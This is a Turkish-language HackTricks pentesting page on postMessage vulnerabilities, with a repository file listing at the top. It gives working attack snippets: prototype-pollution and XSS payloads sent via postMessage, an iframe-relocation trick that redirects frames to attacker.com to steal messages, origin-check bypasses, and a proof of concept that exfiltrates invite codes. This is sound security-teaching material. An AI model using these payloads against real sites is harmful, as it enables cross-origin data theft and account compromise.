hacktricks/pentesting-web/postmessage-vulnerabilities
2024-04-07 03:13:19 +00:00
..
blocking-main-page-to-steal-postmessage.md Translated to Turkish 2024-02-10 18:14:16 +00:00
bypassing-sop-with-iframes-1.md Translated to Turkish 2024-02-10 18:14:16 +00:00
bypassing-sop-with-iframes-2.md GitBook: No commit message 2024-04-06 19:40:41 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:13:19 +00:00
steal-postmessage-modifying-iframe-location.md Translated to Turkish 2024-02-10 18:14:16 +00:00

PostMessage Güvenlik Açıkları

PostMessage Güvenlik Açıkları

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

PostMessage Gönder

PostMessage, bir mesaj göndermek için aşağıdaki işlevi kullanır:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

targetOrigin değeri '*' veya https://company.com gibi bir URL olabilir.
İkinci senaryoda, mesaj sadece o etki alanına gönderilebilir (pencere nesnesinin kökeni farklı olsa bile).
Eğer joker karakter kullanılırsa, mesajlar herhangi bir etki alanına gönderilebilir ve pencere nesnesinin kökenine gönderilir.

iframe ve joker karakter saldırısı targetOrigin üzerinde

Bu rapordaıklandığı gibi, eğer X-Frame-Header koruması olmayan bir sayfa bulursanız ve bu sayfa duyarlı mesajları wildcard (*) kullanarak postMessage ile gönderiyorsa, iframe'in kökenini değiştirerek ve duyarlı mesajı sizin kontrol ettiğiniz bir etki alanına sızdırabilirsiniz.
Unutmayın, sayfa iframelenebilir ancak targetOrigin bir URL'ye ayarlanmışsa ve joker karakter kullanılmamışsa, bu hile işe yaramaz.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener sömürüsü

addEventListener, JS tarafından postMessage bekleyen` işlevi bildirmek için kullanılan işlevdir.
Aşağıdaki gibi bir kod kullanılacaktır:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Numaralandırma

Mevcut sayfadaki olay dinleyicilerini bulmak için şunları yapabilirsiniz:

  • JS kodunda window.addEventListener ve $(window).on (JQuery sürümü) arayın
  • Geliştirici araçları konsolunda şunu çalıştırın: getEventListeners(window)

  • Tarayıcının geliştirici araçlarında Öğeler --> Olay Dinleyicileri bölümüne gidin

Köken kontrolü atlatmaları

  • event.isTrusted özelliği yalnızca gerçek kullanıcı eylemleri tarafından oluşturulan olaylar için True döndürdüğü için güvenli kabul edilir. Doğru bir şekilde uygulandığında atlatılması zor olmasına rağmen, güvenlik kontrollerindeki önemi dikkate değerdir.
  • PostMessage olaylarında köken doğrulaması için indexOf() kullanımı atlatılabilir olabilir. Bu zafiyeti gösteren bir örnek:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search() yöntemi olan search() metodu düzenli ifadeler için tasarlanmış olup, dizgiler için değil. Düzenli ifadeler dışında bir şey geçirilmesi, yöntemin potansiyel olarak güvensiz olmasına neden olabilir. Çünkü düzenli ifadelerde nokta (.) joker karakter olarak işlev görerek özel oluşturulmuş alanlarla doğrulamayı atlatmaya olanak tanır. Örneğin:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • search() gibi match() fonksiyonu da regex işler. Regex yanlış yapılandırılmışsa, atlatılabilir olabilir.

  • escapeHtml fonksiyonu girdileri temizlemek için tasarlanmış olup karakterleri kaçırır. Ancak yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzer yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne kontrol edilecek şekilde manipüle edilebilirse ve kontrol edilen özellik hasOwnProperty'yi kabul etmezse, escapeHtml beklenildiği gibi çalışmaz. Aşağıdaki örneklerde gösterildiği gibi:

  • Beklenen Başarısızlık:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kaçırma:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Bu zafiyet bağlamında, File nesnesi, salt okunur name özelliği nedeniyle dikkate değer şekilde istismar edilebilir. Bu özellik, şablonlarda kullanıldığında escapeHtml fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açabilir.

  • JavaScript'teki document.domain özelliği, alan adını kısaltmak için bir betik tarafından ayarlanabilir, aynı ana etki alanı içinde daha esnek aynı köken politikası uygulamasına olanak tanır.

e.origin == window.origin atlatma

%%%%%% kullanarak bir web sayfasını sandboxed iframe içine yerleştirirken, iframe'ın kökeninin null olarak ayarlanacağını anlamak önemlidir. Bu, sandbox öznitelikleri ve bunların güvenlik ve işlevsellik üzerindeki etkileriyle ilgilenirken özellikle önemlidir.

Sandbox özniteliğinde allow-popups belirterek, iframe'den açılan herhangi bir açılır pencere, ebeveyninin sandbox kısıtlamalarını devralır. Bu, açılır pencerenin kökeninin de null olarak ayarlandığı anlamına gelir. Bu durum, açılır pencerenin kökeninin de null olarak ayarlandığı için iframe ve açılır pencerenin her ikisinin de köken değerinin null olduğu bir senaryoya yol açar.

Bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye postMessage kullanılarak bir ileti gönderildiğinde, hem gönderme hem de alma uçlarının kökenleri null olarak ayarlanır. Bu durum, iframe ve açılır pencerenin null == null olarak değerlendirildiği bir senaryoya yol açar, çünkü hem iframe hem de açılır pencere null olan aynı köken değerini paylaşırlar.

Daha fazla bilgi için okuyun:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

e.source Atlatma

İletinin, betiğin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle Tarayıcı uzantılarından Gelen İçerik Betikleri için ilginç olabilir, ileti sayfanın aynı sayfadan mı gönderildiğini kontrol etmek için):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

e.source'un bir mesajın iframe oluşturarak zorla null olmasını sağlayabilirsiniz ve hemen silinir.

Daha fazla bilgi için okuyun:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header atlatma

Bu saldırıları gerçekleştirmek için ideal olarak kurban web sayfasını bir iframe içine yerleştirebilirsiniz. Ancak X-Frame-Header gibi bazı başlıklar bu davranışı engelleyebilir.
Bu senaryolarda daha az gizli bir saldırı kullanabilirsiniz. Savunmasız web uygulamasını yeni bir sekmede açabilir ve iletişim kurabilirsiniz:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Ana sayfayı engelleyerek çocuğa gönderilen mesajı çalmak

Aşağıdaki sayfada, duyarlı postmessage verilerini bir çocuk iframe'e gönderilmeden önce ana sayfayı engelleyerek ve çocukta XSS kullanarak verinin alınmasını sağlayarak çalabileceğinizi görebilirsiniz:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Iframe konumunu değiştirerek mesaj çalmak

Eğer X-Frame-Header olmadan bir iframe içeren bir web sayfasını iframe'leyebilirseniz, o çocuk iframe'inin konumunu değiştirebilirsiniz, böylece bir joker kullanarak gönderilen bir postmessage alıyorsa, saldırgan o iframe'in kökenini kendi kontrolünde olan bir sayfaya değiştirebilir ve mesajı çalabilir:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage ile Prototype Pollution ve/veya XSS

postMessage aracılığıyla gönderilen verilerin JS tarafından yürütüldüğü senaryolarda, sayfayı iframe'leyebilir ve prototype pollution/XSS'yi sömürebilir ve saldırıyı postMessage aracılığıyla göndererek gerçekleştirebilirsiniz.

Çok iyi açıklanan birkaç XSS örneği, https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html adresinde bulunabilir.

Bir iframe'e Prototype Pollution'ı kötüye kullanmak ve ardından XSS'yi kötüye kullanmak için bir postMessage aracılığıyla saldırmak için bir kötüye kullanım örneği:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Daha fazla bilgi için:

Referanslar

Sıfırdan başlayarak AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: